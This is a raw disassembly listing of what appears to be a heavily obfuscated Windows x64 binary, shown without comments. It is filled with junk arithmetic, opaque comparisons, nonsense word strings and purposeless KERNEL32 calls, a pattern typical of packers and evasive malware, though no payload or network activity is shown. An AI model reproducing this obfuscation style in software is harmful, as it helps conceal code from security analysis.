je 0x140148ed4
jmp 0x140148fb5
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x4d98], rax
mov dword [rsp + 0x29b8], 0x6cf2
mov eax, 0x7259
mov word [rsp + 0xb20], ax
mov dword [rsp + 0x29bc], 0x18ac
cmp dword [rsp + 0x29b8], 0x70c2
ja 0x140057361
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
and eax, 0xcd
mov byte [rsp + 0xbb], al
mov eax, dword [rsp + 0x2994]
movzx ecx, al
mov eax, dword [rsp + 0x2988]
shr eax, cl
mov dword [rsp + 0x299c], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x6c2a2be641aed00a
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4d70], rax
movzx eax, byte [rsp + 0xbb]
xor eax, 0xf1
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
shl eax, cl
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
add eax, 0x25
mov byte [rsp + 0x132], al
movsx eax, word [rsp + 0xb20]
and eax, 0x6e97
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
sub eax, 0x79
mov byte [rsp + 0x132], al
mov eax, dword [rsp + 0x29b8]
add eax, 0x10
mov dword [rsp + 0x29b8], eax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
sub eax, 0x63
mov byte [rsp + 0xbb], al
movabs rax, 0x4290632ff700655d
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2994]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
movabs rax, 0xd3946256d99da299
mov rcx, qword [rsp + 0x4d80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x7e53cc1db90fadd4
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d70], rax
movsx eax, byte [rsp + 0x132]
sub eax, 0x79
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb1c]
add eax, 0x3c6
mov word [rsp + 0xb1c], ax
jmp 0x140057198
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
xor eax, 0x3b
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
or eax, 0x2f
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4d70]
sar rax, 0x3d
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb20]
shl eax, 9
mov word [rsp + 0xb20], ax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2994]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
movabs rax, 0x6c472fe110fff719
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movabs rax, 0x177e153382376938
mov rcx, qword [rsp + 0x4d68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
movsx eax, byte [rsp + 0x132]
and eax, 0x4a
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
sub eax, 0x2d
mov byte [rsp + 0x132], al
movzx eax, word [rsp + 0xb1c]
add eax, 0x9f
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
sub eax, 0x2b
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
sub eax, 0x52
mov byte [rsp + 0xbb], al
movsx eax, word [rsp + 0xb20]
add eax, 0x303a
mov word [rsp + 0xb20], ax
movabs rax, 0xf2cd81fc082397d7
mov rcx, qword [rsp + 0x4d68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov eax, dword [rsp + 0x2994]
movzx ecx, al
mov eax, dword [rsp + 0x299c]
shr eax, cl
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x6a00b66701d9c294
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d90]
mov qword [rsp + 0x4da0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4da0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movabs rax, 0x2890408dac4a67f7
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xbb]
sub eax, 0x51
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
add eax, 0x1d
mov byte [rsp + 0x132], al
movsx eax, word [rsp + 0xb20]
add eax, 0x7603
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
sub eax, 0x62
mov byte [rsp + 0x132], al
movabs rax, 0x6dbb529db9b59dd0
mov rcx, qword [rsp + 0x4d70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x299c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x1e687745cf1e20a8
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
add eax, 0x18ea
mov word [rsp + 0xb20], ax
movzx eax, word [rsp + 0xb1c]
xor eax, 0x5f
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
or eax, 0xd7
mov byte [rsp + 0xbb], al
movzx eax, word [rsp + 0xb1c]
shl eax, 4
mov word [rsp + 0xb1c], ax
mov eax, dword [rsp + 0x29b0]
sub eax, 0x4f
mov dword [rsp + 0x29b0], eax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
sar eax, 1
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x7e8329736e302fb6
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2994]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2988], eax
movabs rax, 0x16daa600f6f95f70
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movsx eax, word [rsp + 0xb20]
sub eax, 0x5444
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
sub eax, 0xf1
mov byte [rsp + 0xbb], al
movsx eax, byte [rsp + 0x132]
and eax, 8
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, byte [rsp + 0x132]
add eax, 0x46
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
sub eax, 0x9f
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x299c]
movzx ecx, al
mov eax, dword [rsp + 0x2994]
shl eax, cl
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x5e104d7347563b1c
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d80]
shr rax, 1
mov qword [rsp + 0x4d68], rax
movsx eax, byte [rsp + 0x132]
or eax, 0x12
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
and eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
sub eax, 0x5ed3
mov word [rsp + 0xb20], ax
cmp dword [rsp + 0x29b0], 0x25bf
jae 0x140057361
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov byte [rsp + 0x133], al
mov eax, dword [rsp + 0x299c]
mov dword [rsp + 0x29c0], eax
cmp dword [rsp + 0x29c0], 0
je 0x140057867
jmp 0x140148d33
lea rax, [rsp + 0xb1c]
mov qword [rsp + 0x4da8], rax
movzx eax, byte [rsp + 0x132]
mov byte [rsp + 0x29c4], al
cmp byte [rsp + 0x29c4], 0x56
je 0x140057895
jmp 0x1400579e3
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov qword [rsp + 0x4db0], rax
movabs rax, 0x336faad5e8989bd8
cmp qword [rsp + 0x4db0], rax
je 0x1400578c1
jmp 0x1400579d0
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
mov dword [rsp + 0x29c8], eax
cmp dword [rsp + 0x29c8], 0xcc00
je 0x1400578e5
jmp 0x1400579b6
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
mov qword [rsp + 0x4db8], rax
movabs rax, 0x66720b70773721dc
cmp qword [rsp + 0x4db8], rax
je 0x140057923
jmp 0x1400579b4
movsx eax, word [rsp + 0xb20]
mov dword [rsp + 0x29cc], eax
cmp dword [rsp + 0x29cc], 0x4a9c
je 0x14005794e
cmp dword [rsp + 0x29cc], 0x5009
je 0x140057995
jmp 0x1400579b4
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sar eax, cl
mov byte [rsp + 0xbb], al
mov r9d, dword [rsp + 0x299c]
mov r8d, dword [rsp + 0x299c]
mov rax, qword [rsp + 0x4da8]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0x132]
call fcn.14014b010
nop
jmp 0x1400579b4
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
jmp 0x1400579ce
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
and eax, 0xb1a
mov word [rsp + 0xb1c], ax
jmp 0x1400579de
movzx ecx, word [rsp + 0xb20]
call fcn.140149e50
nop
jmp 0x140057ae4
lea rdx, [rsp + 0x15320]
mov ecx, 0x9e
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov dword [rsp + 0x2994], eax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x5445d367cb9a73c0
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
mov dword [rsp + 0x29d0], eax
cmp dword [rsp + 0x29d0], 0xce4
je 0x140057a5d
jmp 0x140057ac7
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x299c]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x2994]
ja 0x140057a9a
mov ecx, 0xb9
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
mov dword [rsp + 0x29a4], eax
movzx ecx, word [rsp + 0xb20]
call fcn.140149e50
nop
jmp 0x140057ac5
movsx eax, word [rsp + 0xb20]
cmp eax, 0x66fe
jl 0x140057ac5
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov byte [rsp + 0x133], al
jmp 0x140057ae4
lea rdx, [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4dc0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov dword [rsp + 0x29d4], eax
movzx eax, word [rsp + 0xb1c]
mov dword [rsp + 0x29d8], eax
cmp dword [rsp + 0x29d8], 0xcc00
je 0x140057b05
jmp 0x140057bd6
movzx eax, word [rsp + 0xb20]
mov word [rsp + 0xb24], ax
movabs rax, 0xbbadbbefa40ab528
mov rcx, qword [rsp + 0x4d80]
add rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x4d68]
jae 0x140057b90
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov rcx, qword [rsp + 0x4d98]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
and eax, 0x2c40
mov word [rsp + 0xb24], ax
mov r8d, 0xc1
lea rdx, str.raping_mutate_Nostril_absorbed
lea rcx, [rsp + 0x15ce0]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
mov qword [rsp + 0x4dc8], rax
jmp 0x140057bc6
movzx eax, byte [rsp + 0x134]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
cmp eax, ecx
jg 0x140057bc6
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
shl eax, 1
mov word [rsp + 0xb1c], ax
mov dword [rsp + 0x29dc], 0x855c
jmp 0x140057cb7
movzx eax, word [rsp + 0xb1c]
sar eax, 0x1b
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
cmp eax, ecx
jl 0x140057c6e
movsx eax, word [rsp + 0xb24]
mov dword [rsp + 0x29e0], eax
cmp dword [rsp + 0x29e0], 0x11e8
je 0x140057c35
cmp dword [rsp + 0x29e0], 0x324d
je 0x140057c1b
jmp 0x140057c6e
movzx eax, word [rsp + 0xb1c]
xor eax, 0xc2e
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
jmp 0x140057c6e
mov dword [rsp + 0x28], 0xc7
lea rax, [rsp + 0x15320]
mov qword [rsp + 0x20], rax
mov r9d, 0x64
lea r8, str.Shone_suppurating_sunstroke_famously
mov edx, 0xd3
mov ecx, 0xa9
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
mov dword [rsp + 0x29e4], eax
movabs rax, 0xcd1d217692563301
mov rcx, qword [rsp + 0x4d68]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
movabs rax, 0x53c44f8a1d345312
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
call fcn.140149290
nop
mov dword [rsp + 0x29e8], 0x11f76
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x26f8], eax
lea rax, [rsp + 0x134]
mov qword [rsp + 0x4dd0], rax
movzx eax, word [rsp + 0xb1c]
mov dword [rsp + 0x29ec], eax
cmp dword [rsp + 0x29ec], 0x2df
je 0x140057dad
cmp dword [rsp + 0x29ec], 0xcc00
je 0x140057d1d
jmp 0x140057eb5
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x132]
imul eax, ecx
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
cmp eax, ecx
jne 0x140057d76
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
and eax, 0x475
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
mov byte [rsp + 0x135], al
movzx eax, word [rsp + 0xb1c]
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4d68]
mov qword [rsp + 0x4dd8], rax
jmp 0x140057eb5
lea r8, [rsp + 0x26f8]
mov edx, 0x4c
mov rcx, qword [rsp + 0x4d60]
call qword [sym.imp.KERNEL32.dll_SetTapeParameters]
mov dword [rsp + 0x26f8], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x3c3f321181aa5fb8
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x29e4]
mov dword [rsp + 0x29f0], eax
cmp dword [rsp + 0x29f0], 0x59d1ce1a
je 0x140057e0c
jmp 0x140057e37
mov r9d, dword [rsp + 0x2994]
mov r8d, dword [rsp + 0x26f8]
mov rax, qword [rsp + 0x4da8]
movzx edx, word [rax]
movzx ecx, byte [rsp + 0x135]
call fcn.14014b010
nop
jmp 0x140057eb5
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov dword [rsp + 0x29e4], 0x292b94c
lea rax, [rsp + 0xb20]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x29e4]
mov r8d, 0x95
lea rdx, [rsp + 0x4da8]
mov rcx, qword [rsp + 0x4d78]
call qword [sym.imp.KERNEL32.dll_ReadConsoleW]
mov dword [rsp + 0x29f4], eax
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov dword [rsp + 0x29f8], 0x497c
movzx eax, byte [rsp + 0x134]
mov byte [rsp + 0x136], al
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb1c], ax
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d90]
mov rax, qword [rax]
sar rax, 0x23
mov qword [rsp + 0x4d70], rax
mov eax, dword [rsp + 0x29a8]
sub eax, 0xd3
mov dword [rsp + 0x29a8], eax
movsx eax, byte [rsp + 0x133]
movsx ecx, byte [rsp + 0x135]
or eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x299c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x26f8], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d90]
mov qword [rsp + 0x4de0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
add eax, ecx
mov byte [rsp + 0x132], al
movsx eax, word [rsp + 0xb24]
sub eax, 0x62dc
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x26f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2994], eax
movabs rax, 0x1a577542b31d87c
mov rcx, qword [rsp + 0x4d70]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d80]
mov rcx, qword [rsp + 0x4dd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d68], rax
cmp dword [rsp + 0x29a8], 0x28de
ja 0x140057ecf
lea rax, [rsp + 0x135]
mov qword [rsp + 0x4de8], rax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0x136], al
mov dword [rsp + 0x29fc], 0x9265
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0xbb]
sar eax, cl
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d90]
mov qword [rsp + 0x4df0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4df0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb1c]
or eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
xor eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov eax, dword [rsp + 0x29fc]
sub eax, 0x79
mov dword [rsp + 0x29fc], eax
movzx eax, word [rsp + 0xb28]
movzx ecx, word [rsp + 0xb1c]
and eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
add eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4dd8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d80], rax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov word [rsp + 0xb28], ax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x134]
and eax, ecx
mov byte [rsp + 0xbb], al
movsx eax, byte [rsp + 0x135]
movsx ecx, byte [rsp + 0x133]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb28]
add eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movzx eax, word [rsp + 0xb1c]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb28], ax
movabs rax, 0x3d9fd9f6a27a2527
mov rcx, qword [rsp + 0x4d70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d68]
mov rcx, qword [rsp + 0x4d80]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4dd8], rax
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x133]
xor eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d70]
shl rax, 3
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x136]
sar eax, cl
mov byte [rsp + 0xbb], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
and eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
add eax, ecx
mov rcx, qword [rsp + 0x4de8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dd0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x299c]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x26f8], eax
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x490747da03da6f9b
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4d70], rax
mov dword [rsp + 0x29e4], 0x77aee7f3
cmp dword [rsp + 0x29fc], 0x7b3c
jae 0x14005810b
cmp dword [rsp + 0x29ac], 0xc3a5
ja 0x140058875
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x133], al
movsx eax, word [rsp + 0xb20]
sub eax, 0x4f16
mov word [rsp + 0xb24], ax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov word [rsp + 0xb1c], ax
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x133]
xor eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sar eax, cl
mov byte [rsp + 0xbb], al
mov eax, dword [rsp + 0x29e4]
or eax, 0x466c4e63
mov dword [rsp + 0x29e4], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d90]
mov qword [rsp + 0x4df8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4df8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x133]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
movzx eax, word [rsp + 0xb1c]
movzx ecx, word [rsp + 0xb28]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb1c]
sub eax, ecx
mov rcx, qword [rsp + 0x4da8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4dd0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x134]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4d90]
movabs rcx, 0x5187b2224022ff2b
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4d90]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov eax, dword [rsp + 0x26f8]
movzx ecx, al
mov eax, dword [rsp + 0x299c]
shr eax, cl
mov dword [rsp + 0x2988], eax
movabs rax, 0x597bec3a7441213a
mov rcx, qword [rsp + 0x4d70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4da8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb28]
shl eax, cl
mov word [rsp + 0xb1c], ax
mov eax, dword [rsp + 0x29ac]
add eax, 6
mov dword [rsp + 0x29ac], eax
movsx eax, word [rsp + 0xb20]
or eax, 0x1288
mov word [rsp + 0xb24], ax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4de8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4de8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
and eax, ecx
